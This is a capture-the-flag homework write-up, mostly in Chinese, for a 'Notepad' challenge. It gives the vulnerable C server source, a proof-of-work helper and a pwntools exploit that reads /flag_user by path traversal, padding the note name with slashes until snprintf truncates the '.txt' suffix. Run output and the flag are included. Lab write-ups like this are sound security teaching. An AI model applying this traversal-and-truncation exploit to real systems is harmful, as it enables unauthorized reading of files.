Simple PWN 0x31(2023 HW - Notepad - Stage - 1)

Simple PWN 0x31(2023 HW - Notepad - Stage - 1)

Description & Hint

nc 10.113.184.121 10044

You should solve the PoW to invoke a new instance. You can use the pow_solver.py script in the released zip to solve the PoW. After you solve the PoW, the service will create a new container and show >you the port. Connect it to play this challenge! The container will be destroy at 5 minutes. So you should debug your exploit in your environment.

Image Base: ubuntu:22.04 (e4c58958181a)

Try to get /flag_user.

File: Notepad-release_fa266ab516200ef4.zip

Hint: Path Traversal

Source code

:::spoiler Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <time.h>
#include <arpa/inet.h>
#include <limits.h>
#include "SECCOMP.h"

#define USERNAME_LEN 0x10
#define PASSWORD_LEN 0x10

#define CMD_Register 0x1
#define CMD_Login 0x2
#define CMD_GetFolder 0x11
#define CMD_NewNote 0x12
#define CMD_Flag 0x8787

#define RES_Success 0x0
#define RES_Failed 0x1
#define RES_NotFound 0x2

struct sock_filter seccompfilter[]={
  BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),
  BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
  BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
  BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),
  Allow(open),
  Allow(openat),
  Allow(lseek),
  Allow(read),
  Allow(write),
  Allow(socket),
  Allow(connect),
  Allow(close),
  Allow(readlink),
  Allow(getdents),
  Allow(getrandom),
  Allow(brk),
  Allow(rt_sigreturn),
  Allow(exit),
  Allow(exit_group),
  BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};

struct sock_fprog filterprog={
  .len=sizeof(seccompfilter)/sizeof(struct sock_filter),
  .filter=seccompfilter
};

void apply_seccomp(){
  if(prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0)){
    perror("Seccomp Error");
    exit(1);
  }
  if(prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&filterprog)==-1){
    perror("Seccomp Error");
    exit(1);
  }
  return;
}

struct Command
{
    __uint32_t cmd;
    u_char token[32];
    u_char args[128];
};

struct Response
{
    __uint32_t code;
    u_char res[256];
};

char *Token;

void errorexit(char *msg)
{
    puts(msg);
    exit(-1);
}

int connect_backend()
{
    int fd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in info;
    bzero(&info, sizeof(info));
    info.sin_family = PF_INET;
    info.sin_addr.s_addr = inet_addr("127.0.0.1");
    info.sin_port = htons(8765);
    if(connect(fd, (struct sockaddr *)&info, sizeof(info))==-1){
        return -1;
    }
    return fd;
}

void command_login(int fd, char *username, char *password)
{
    if(strlen(username)>=USERNAME_LEN || strlen(password)>=PASSWORD_LEN){
        errorexit("Username or Password too long.");
        return ;
    }
    struct Command cmd;
    memset(&cmd, 0, sizeof(cmd));
    cmd.cmd = CMD_Login;
    strcpy(cmd.args, username);
    strcpy(&cmd.args[strlen(cmd.args)+1], password);
    write(fd, &cmd, sizeof(cmd));
    struct Response res;
    memset(&res, 0, sizeof(res));
    if(read(fd, &res, sizeof(res))!=sizeof(res)){
        errorexit("Error while recv backend response.");
    }
    if(res.code==RES_Success){
        Token = strdup(res.res);
        puts("Login Success!");
    }
    else{
        Token = 0;
        puts("Login Failed!");
    }
}

void command_register(int fd, char *username, char *password)
{
    if(strlen(username)>=USERNAME_LEN || strlen(password)>=PASSWORD_LEN){
        puts("Username or Password too long.");
        return ;
    }
    struct Command cmd;
    memset(&cmd, 0, sizeof(cmd));
    cmd.cmd = CMD_Register;
    strcpy(cmd.args, username);
    strcpy(&cmd.args[strlen(cmd.args)+1], password);
    write(fd, &cmd, sizeof(cmd));
    struct Response res;
    memset(&res, 0, sizeof(res));
    if(read(fd, &res, sizeof(res))!=sizeof(res)){
        puts("Error while recv backend response.");
        return ;
    }
    if(res.code==RES_Success){
        puts("Register Success!");
    }
    else{
        puts("Register Failed!");
    }
}

void command_newnote(int fd, char *notename, char *content)
{
    if(!Token)
    {
        puts("Please login first.");
        return ;
    }
    struct Command cmd;
    memset(&cmd, 0, sizeof(cmd));
    struct Response res;
    memset(&res, 0, sizeof(res));
    cmd.cmd = CMD_NewNote;
    strcpy(cmd.token, Token);
    strncpy(cmd.args, notename, sizeof(cmd.args));
    write(fd, &cmd, sizeof(cmd));
    if(read(fd, &res, sizeof(res))!=sizeof(res)){
        puts("Error while recv backend response.");
        return ;
    }
    if(res.code!=RES_Success){
        puts("Note create failed.");
        return ;
    }
    //puts("Backend has created the note file.");
    int newfile_fd = open(res.res, O_RDWR);
    if(newfile_fd<0){
        puts("Note create failed.");
        return ;
    }
    write(newfile_fd, content, strlen(content));
    close(newfile_fd);
    puts("Note created!");
}

int openfile(int fd, char *notename, off_t offset, int oflag)
{
    if(!Token)
    {
        puts("Please login first.");
        return -1;
    }
    struct Command cmd;
    memset(&cmd, 0, sizeof(cmd));
    struct Response res;
    memset(&res, 0, sizeof(res));
    cmd.cmd = CMD_GetFolder;
    strcpy(cmd.token, Token);
    write(fd, &cmd, sizeof(cmd));
    if(read(fd, &res, sizeof(res))!=sizeof(res)){
        puts("Error while recv backend response.");
        return -1;
    }
    if(res.code!=RES_Success){
        puts("Couldn't get note storage path.");
        return -1;
    }
    char path[128];
    //strcpy(path, res.res);
    snprintf(path, sizeof(path), "%s%s.txt",res.res, notename);
    //char rpath[128];
    //realpath(path, rpath);
    //puts(rpath);
    int filefd = open(path, oflag);
    if(filefd < 0){
        puts("Couldn't open the file.");
        return -1;
    }
    lseek(filefd, offset, SEEK_SET);
    return filefd;
}

void command_editnote(int fd, char *notename, off_t offset, char *content)
{
    
    int filefd = openfile(fd, notename, offset, O_RDWR);
    write(filefd, content, strlen(content));
    close(filefd);
    puts("Note modified.");
}

void command_shownote(int fd, char *notename, off_t offset)
{
    int filefd = openfile(fd, notename, offset, O_RDONLY);
    char buf[128];
    ssize_t readlen = read(filefd, buf, sizeof(buf));
    if(readlen<=0){
        puts("Read note failed.");
        return ;
    }
    write(1, buf, readlen);
}

void menu()
{
    puts("+==========      Notepad       ==========+");
    puts("| 1. Login                               |");
    puts("| 2. Register                            |");
    puts("| 3. New Note                            |");
    puts("| 4. Edit Note                           |");
    puts("| 5. Show Note                           |");
    puts("+========================================+");
    printf("> ");
}

long readint()
{
    char buf[32];
    for(int i=0;i<31;i++){
        if(read(0, &buf[i], 1)!=1)
            break;
        if(buf[i]=='\n'){
            buf[i] = 0;
            break;
        }
    }
    return atol(buf);
}

size_t readlen(char *buf, size_t len)
{
    size_t i=0;
    for(;i<len;i++){
        if(read(0, &buf[i], 1)!=1)
            break;
        if(buf[i]=='\n')
            buf[i] = 0;
    }
    return i;
}

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    apply_seccomp();
    char username[0x20];
    char password[0x20];
    char notename[256];
    char *content;
    size_t clen;
    off_t offset;
    while(1){
        menu();
        int choice = readint();
        int backendfd = connect_backend();
        if(backendfd<=0)errorexit("Couldn't connect to backend.");
        switch(choice){
            case 1:
                printf("Username: ");
                read(0, username, 0x10);
                printf("Password: ");
                read(0, password, 0x10);
                command_login(backendfd, username, password);
                break;
            case 2:
                printf("Username: ");
                read(0, username, 0x10);
                printf("Password: ");
                read(0, password, 0x10);
                command_register(backendfd, username, password);
                break;
            case 3:
                printf("Note Name: ");
                read(0, notename, 128);
                if(strlen(notename) && notename[strlen(notename)-1]=='\n')
                    notename[strlen(notename)-1] = 0;
                printf("Content Length: ");
                clen = (size_t)readint();
                if(clen > 1024){
                    puts("Too Long");
                    break;
                }
                content = malloc(clen+1);
                printf("Content: ");
                readlen(content, clen);
                command_newnote(backendfd, notename, content);
                break;
            case 4:
                printf("Note Name: ");
                read(0, notename, 128);
                if(strlen(notename) && notename[strlen(notename)-1]=='\n')
                    notename[strlen(notename)-1] = 0;
                printf("Offset: ");
                offset = (off_t)readint();
                printf("Content Length: ");
                clen = (size_t)readint();
                if(clen > 1024){
                    puts("Too Long");
                    break;
                }
                content = malloc(clen+1);
                printf("Content: ");
                readlen(content, clen);
                command_editnote(backendfd, notename, offset, content);
                break;
            case 5:
                printf("Note Name: ");
                read(0, notename, 128);
                if(strlen(notename) && notename[strlen(notename)-1]=='\n')
                    notename[strlen(notename)-1] = 0;
                printf("Offset: ");
                offset = (off_t)readint();
                command_shownote(backendfd, notename, offset);
                break;
            default:
                break;
        }
        close(backendfd);
    }
    return 0;
}

:::

Recon

這一題是等到助教給出hint才之到大概的方向,我一開始也是有一些初步的方向,不過不知道怎麼把卡住的地方解決,最後也是求助@davidchen學長才知道確切的方法。

  1. 首先,感謝@csotaku 的提示與切入方向,既然知道是path traversal的洞,那就代表某個地方我們可以輸入一些簡單的payload,例如./,而這個地方還必須和讀檔有關係,想到這邊我們的選擇也呼之欲出,洞就在==openfile==的地方,我們輸入的notename會和res.res以及.txt concatenate在一起,,不過這邊有個問題是既然我們要順利讀檔,在說明中就有提到檔案名稱是==flag_user==,而不是flag_user.txt,這樣的話我們就應該要想辦法把.txt bypass掉

    想到這邊我先說我的看法,如果要把.txt bypass掉,一開始是參考飛飛的網站範例中有針對URL based的path traversal類似的情況在payload的最後面加上null byte,所以我想可以用同樣的方式bypass(\x00),但是怎樣的沒有成功,另外我還有一個疑問,res.res的部分到底是不是一個path,如果不是,就代表我們也需要把它蓋掉或是用其他方法leak出來之類的;當然如果是path的話就沒差了,但我很常陷入這種沒有必要的迴圈轉不出來,其實現在仔細想想,他一定是一個path,因為他最後也是要和{notename}.txt接在一起,如果他不是path就一定讀不到

  2. 反正後來和@davidchen討論完才大致知道如何寫script,簡單來說,因為path的限制長度是128 bytes,所以res.res + {notename} + .txt基本上長度不會超過128 bytes,如果會的話就會被擠出去,所以我們能夠控制的部分就是notename,雖然我們不知道res.res的長度多少,但我們可以爆破,讓這三者串在一起會大於128 bytes並且沒有被寫入path的部分就是.txt,這樣的話就可以順利讀到flag的內容,具體怎麼做就是一直加上/

Exploit - Path Traversal

因為這一題需要進行pow,才能順利開一個vm給我們,並且把port number讓我們連過去

==PoW.py==

這是助教寫的script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
import hashlib
import sys

prefix = sys.argv[1]
difficulty = int(sys.argv[2])
zeros = '0' * difficulty

def is_valid(digest):
    if sys.version_info.major == 2:
        digest = [ord(i) for i in digest]
    bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
    return bits[:difficulty] == zeros


i = 0
while True:
    i += 1
    s = prefix + str(i)
    if is_valid(hashlib.sha256(s.encode()).digest()):
        print(i)
        exit(0)

==pow.py==

這是我寫的pow,就是簡單的subprocess的執行助教給的script,然後傳送和接收一些IO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from subprocess import *


'''#########
Dealing Connection and PoW
#########'''
r = remote('10.113.184.121', 10044)
r.recvuntil(b'sha256(')
prefix = r.recvuntil(b' + ').strip().decode().split(' ')[0]
difficulty = r.recvline().strip().decode().split('(')[-1].split(')')[0]

log.info(f"PoW's prefix = {prefix}, difficulty = {difficulty}")

p = Popen(f"python ../pow_solver.py {prefix} {difficulty}", stdin=PIPE, stdout=PIPE, universal_newlines=True, shell=True)
pow_result = p.stdout.readline().strip()
log.info(f'PoW Result = {pow_result}')
r.sendline(pow_result.encode())
r.recvuntil(b'Your service is running on port ')
init_port = r.recvuntil(b'.').decode().split('.')[0]
log.success(f'Receive Port = {init_port}')
r.close()

==exp.py==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from tqdm import *

cmd_dic = {1:'Login', 2:'Register', 3:'New Note', 4:'Edit Note', 5:'Show Note'}
def dealing_cmd(r, cmd, note_name=b'test', content_len=b'5', content=b'test\n', offset=b'0', random='0'):
    r.recvlines(7)
    if cmd == 1 or cmd == 2:
        r.sendline(str(cmd).encode())
        r.sendlineafter(b'Username: ', b'sbk' + random.encode())
        r.sendlineafter(b'Password: ', b'sbk' + random.encode())
        if b'Success' in r.recvline():
            log.success(f'Command {cmd_dic[cmd]} Successful')
        else:
            log.error('Command Login Failed!!!')
    
    if cmd == 3:
        r.sendline(str(cmd).encode())
        r.sendlineafter(b'Note Name: ', note_name)
        r.sendlineafter(b'Content Length: ', content_len)
        r.sendlineafter(b'Content: ', content)
        if b'created' in r.recvline():
            log.success(f'Command {cmd_dic[cmd]} Successful')
        else:
            log.error(f'Command {cmd_dic[cmd]} Failed!!!')
    
    if cmd == 4:
        r.sendline(str(cmd).encode())
        r.sendlineafter(b'Note Name: ', note_name)
        r.sendlineafter(b'Offset: ', offset)
        r.sendlineafter(b'Content Length: ', content_len)
        r.sendlineafter(b'Content: ', content)
        if b'modified' in r.recvline():
            log.success(f'Command {cmd_dic[cmd]} Successful')
        else:
            log.error(f'Command {cmd_dic[cmd]} Failed!!!')
    
    if cmd == 5:
        r.sendline(str(cmd).encode())
        r.sendlineafter(b'Note Name: ', note_name)
        r.sendlineafter(b'Offset: ', offset)
        res = r.recvline().decode().strip()
        if 'flag' in res:
            log.success(res)
            log.success(r.recvline().decode().strip())
            return 1

'''#########
Dealing Exploit
#########'''
init_port = sys.argv[1]
r = remote('10.113.184.121', init_port)
random = os.urandom(1).hex()
dealing_cmd(r, 2, random=random)
dealing_cmd(r, 1, random=random)

payload = b'../../../../../../'
while len(payload) < 128:
    payload += b'/'
    # print(payload)
    res = dealing_cmd(r, 5, payload + b'flag_user')
    if res:
        print(f'Successful payload = {payload + b"flag_user"}')
        break

log.info("Done")
r.interactive()

所以實際執行會是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python pow.py
[+] Opening connection to 10.113.184.121 on port 10044: Done
[*] PoW's prefix = CrWNJGbeaBn7NjUe, difficulty = 22
[*] PoW Result = 4122665
[+] Receive Port = 26616
[*] Closed connection to 10.113.184.121 port 10044
$ python exp-1.py 26616
python exp-1.py 26616
[+] Opening connection to 10.113.184.121 on port 26616: Done
[+] Command Register Successful
[+] Command Login Successful
[+] flag{Sh3l1cod3_but_y0u_c@nnot_get_she!!}+==========      Notepad       ==========+
[+] | 1. Login                               |
Successful payload = b'../../../../../../////////////////////////////////////////////////////////////////////////////////flag_user'
[*] Done
[*] Switching to interactive mode
| 2. Register                            |
| 3. New Note                            |
| 4. Edit Note                           |
| 5. Show Note                           |
+========================================+
> $

Flag: flag{Sh3l1cod3_but_y0u_c@nnot_get_she!!}